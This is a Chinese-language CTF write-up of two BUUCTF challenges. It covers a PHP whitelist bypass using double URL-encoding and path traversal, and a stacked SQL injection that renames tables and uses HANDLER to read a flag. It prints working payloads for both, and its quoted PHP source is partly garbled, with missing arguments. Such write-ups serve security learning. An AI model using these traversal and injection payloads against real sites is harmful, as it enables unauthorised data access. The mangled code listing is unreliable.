BUUCTF刷题
[HCTF 2018]WarmUp
这是一道关于代码审计的题
通过查看源代码发现了source.php的源文件
进入查看
`<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = [“source”=>”source.php”,”hint”=>”hint.php”];
if (! isset(page)) {
echo “you can’t see it”;
return false;
}
if (in_array(whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?’, ‘?’)
);
if (in_array(whitelist)) {
return true;
}
page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?’, ‘?’)
);
if (in_array(whitelist)) {
return true;
}
echo “you can’t see it”;
return false;
}
}
if (! empty($_REQUEST[‘file’])
&& is_string($_REQUEST[‘file’])
&& emmm::checkFile($_REQUEST[‘file’])
) {
include $_REQUEST[‘file’];
exit;
} else {
echo “
<img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />”;
}
?>`
通过审计
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
可以发现可以一个文件-hint.php
flag在该文件内
继续审计source内的代
if (! empty(_REQUEST['file']内的值不为空 && is_string(_REQUEST['file']内的内容是字符 && emmm::checkFile(_REQUEST['file']可以通过checkFile函数的检验 ) { include _REQUEST['file'] exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; //打印表情 }
通过这段代码我知道构造需要满足三个条件:
$_REQUEST['file']内的值不为空
$_REQUEST['file']内的内容是字符
$_REQUEST['file']可以通过checkFile函数的检验
查看checkFile函数内容代码
`if (! isset(page)) { //若干$page变量不存在或者不是字符串
echo “you can’t see it”; //输出you can’t see it
return false; //返回false
}
if (in_array(whitelist)) { //如果whitelist数组中
return true; //返回true
}
$_page = mb_substr( //mb_substr — 获取部分字符串
$page,
0,
mb_strpos($page . ‘?’, ‘?’) //mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
);
if (in_array(whitelist)) {
return true;
} //本段代码的意思,截取page变量中不含’?’则截取$page变量的整个部分
page); //对$page变量进行url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?’, ‘?’)
);
if (in_array(whitelist)) {
return true;
}
echo “you can’t see it”;
return false;
}`
通过函数中的四个IF条件判断可以推断出输出条件
- 第一个是判断$page变量为字符串
- 第二个是判断whitelist数组内
- 第三个是判断截取后的whitelist数组内,截取的是 ‘?’的部分,如果存在则返回true
- 第四个是判断url解码并截取后的whitelist内,如果存在则返回true
1.可见如果四个if判断条件都无返回值,则返回false
2.四个语句中有三个语句存在返回true的条件,但是第二个语句中,用于判断$page,为必要条件
3.第三个语句中截取'?'前的部分,由于?后的部分将会解析为get方式提交参数,不能利用
4.第四个语句,要先进行url解码在进行截取,因此我们可以将'?'进行两次url编码,一次用于在提交参数时解码,一次用于check函数时解码,最终解码仍为'?',仍然可以通过第四个语句判断
``进行两次url编码-'%253F'
构造payload:?file=source.php?../ffffllllaaaagggg
转换为正确的格式:?file=source.php%253F../ffffllllaaaagggg
因为不知道ffffllllaaaagggg文件在哪一个目录下因此要../
一个个添加查看
最终的payload:?file=source.php%253F../../../../../ffffllllaaaagggg
[强网杯 2019]随便注
可以看出来这是一道很明显的注入题。。。
判断注入点
可以看出来,是字符型注入,单引号
判断列
爆数据库return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
可以看到过滤了这么多,简直不是人既然这么多就不要一个个替换了,
尝试一下堆叠注入
查询数据库:1';show databases;#
查看所有的表:1';show tables;#
查询words表中所有列:
查询1919810931114514表中所有列
欸
看到了flag不是
那么关键不是来了!!!如何读取字段内flag呢
如果是一般情况:select * from
1919810931114514;#(字符串为表名操作时要加反引号)
但是select被过滤了如何绕过就成了我们需要考虑的地方了,
其实通过比较words和1919——-这表我们可以发现words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
问题来了,我们应该怎么做嘞:更改列名 !
**
我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
1 |
|
我们需要将words改为其他表名:alter table words rename to words1;
然后将1919810931114514替换为words:alter table
1919810931114514 rename to words;
然后将id更改为flag:alter table words change flag id varchar(50);
payload:1';alter table words rename to words1;alter table
1919810931114514 rename to words;alter table words change flag id varchar(50);#
然后用万能语句:1'and 1=1#
解法二:1';handler
1919810931114514open;handler
1919810931114514 read first;#
hander在数据库中是查询语句
handler语句的语法如下:HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
不通过索引打开查看表
打开句柄:handler handler_table open;
查看表数据:handler handler_table read first;
继续查看:handler handler_table read next;
关闭句柄:handler handler_table close;
这就是用到的知识点,可以查看一下链接进行更多的了解:链接